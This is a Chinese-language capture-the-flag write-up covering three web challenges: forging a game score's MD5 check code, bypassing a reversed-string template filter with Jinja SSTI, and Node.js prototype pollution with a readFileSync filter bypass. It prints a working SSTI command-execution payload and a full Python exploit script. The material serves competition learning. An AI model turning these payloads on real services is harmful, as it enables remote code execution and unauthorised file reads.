打开后一个游戏,提示需要玩够1000000分才能通过。
抓个包看一下,修改score,看到还有一个checkCode,和tm时间戳,想要绕过主要伪造checkCode。
看下网站源码,每个js文件查找下checkCode计算。其中一个找到关键代码。
得到如下信息:
var checkCode = "DASxCBCTF" + salt;
var salt="_wElc03e"
game.sn(score.score,checkCode)
sn(e,t){
……
body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
……
}
所以checkCode是MD5(“1000000DASxCBCTF_wElc03e”),时间戳需要设置稍大值,不断发包去匹配对应时间。
功能是把字符串倒序输出,但是过滤了模板注入的{{}}
符号,使用{%%}
绕过,构造{%if 1%}1{%endif%}
发现依旧倒序输出。
转换思路,将倒序的结果}%fidne%{1}%1 fi%{
输入,得到1:
尝试模板注入的链,过滤了class,自己倒序链输入;过滤cat,用nl
{% print([].__class__.__base__.__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('nl /flag').read()) %}
倒序:
str="{% print([].__class__.__base__.__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('nl /flag').read()) %}"
n=len(str)
for i in range(0,n):
print(str[n-i-1],end="")
这道题最后有10人解出,我卡在最后绕过json检测flag字符串的地方。
首先给了源码,点开后主要是两个js
const adminUser = {
username: "admin",
password: "admin",
money: 9999
};
if(username === adminUser.username && password === adminUser.password.substring(1,6))
所以当admin密码是\u00DE00admi
时,以admin用户登陆,拥有money=9999
。
然后主要就是购买第二个flag,源码如下:
var user = {
username: req.session.username,
money: req.session.money
};
var order = buyApi(user, req.body);
//使用req.body复制给order[user.username]
Object.assign(order[user.username], product);
//function buyApi(user, product)
else if(product.id === 2) { //buy flag
if(user.money >= 11 && user.token) { //do u have token?
if(JSON.stringify(product).includes("flag")) {
Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
}else{
user.money -= 11;
Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
}
}else {
Object.assign(order,{ msg: "nononono!" });
}
}else {
Object.assign(order,{ code: 0, msg: "no such product!" });
}
Object.assign(order, { username: user.username, code: 3, money: user.money });
return order;
}
可以看到,其中需要user.money
>=11(已经满足),user.token
为真,才能进入下一步。这里需要能够影响已经设定的user对象内容,用到了JS原型链污染
的技术,每个对象都包含一个__proto__
属性指向它的构造函数的原型对象。而核心代码Object.assign(order[user.username], product);
其中username可控,通过更改用户名改为__proto__
,这样的话就会将 product 对象合并到 order 的 proto 中,而user 和 order 的原型都是 Object ,是同一个原型,当 product 中构造 token:true 时,user.token 访问为 true。
最后是绕json格式的name不能包含"flag"
字符串。其中主要查阅fs.readFileSync()函数为同步读取,其参数可以为路径,URL或者缓存区。当时主要各种编码无法实现,因为字符串原因,URL编码也不解析。之后得知使用file协议,相当于使用URL时候可以解析URL编码进行绕过。
将Content-type改为multipart/form-data或者删除,可以直接使用flag读取了?
似乎是使用form-data传输,数据被当做文件流,不经过JSON.stringify,所以绕过,但是此时被当做formData格式,依然可以解析其中key和value的值。
或者使用如下代码发送URL对象:
import requests
session = requests.Session()
url = "http://c303458d-c831-4b08-aa86-3654f2e37c70.node4.buuoj.cn:81/" # 题目url
def login():
data = {
"username": "admin",
"password": "\uDE00admi"
}
session.post(url + "login", json = data)
def changeUsername():
data = { "username": "__proto__" }
session.post(url + "changeUsername", json = data)
def buyFlag():
data = {
"name":{
"href": 'file:///fl%61g',
"origin": 'null',
"protocol": 'file:',
"username": '',
"password": '',
"host": '',
"hostname": '',
"port": '',
"pathname": '/fl%61g',
"search": '',
"searchParams": "URLSearchParams {}",
"hash": ''
},
"id":2,
"token":True
}
res = session.post(url + "buy", json = data)
return res.text
if __name__ == '__main__':
login()
changeUsername()
flag = buyFlag()
print(flag)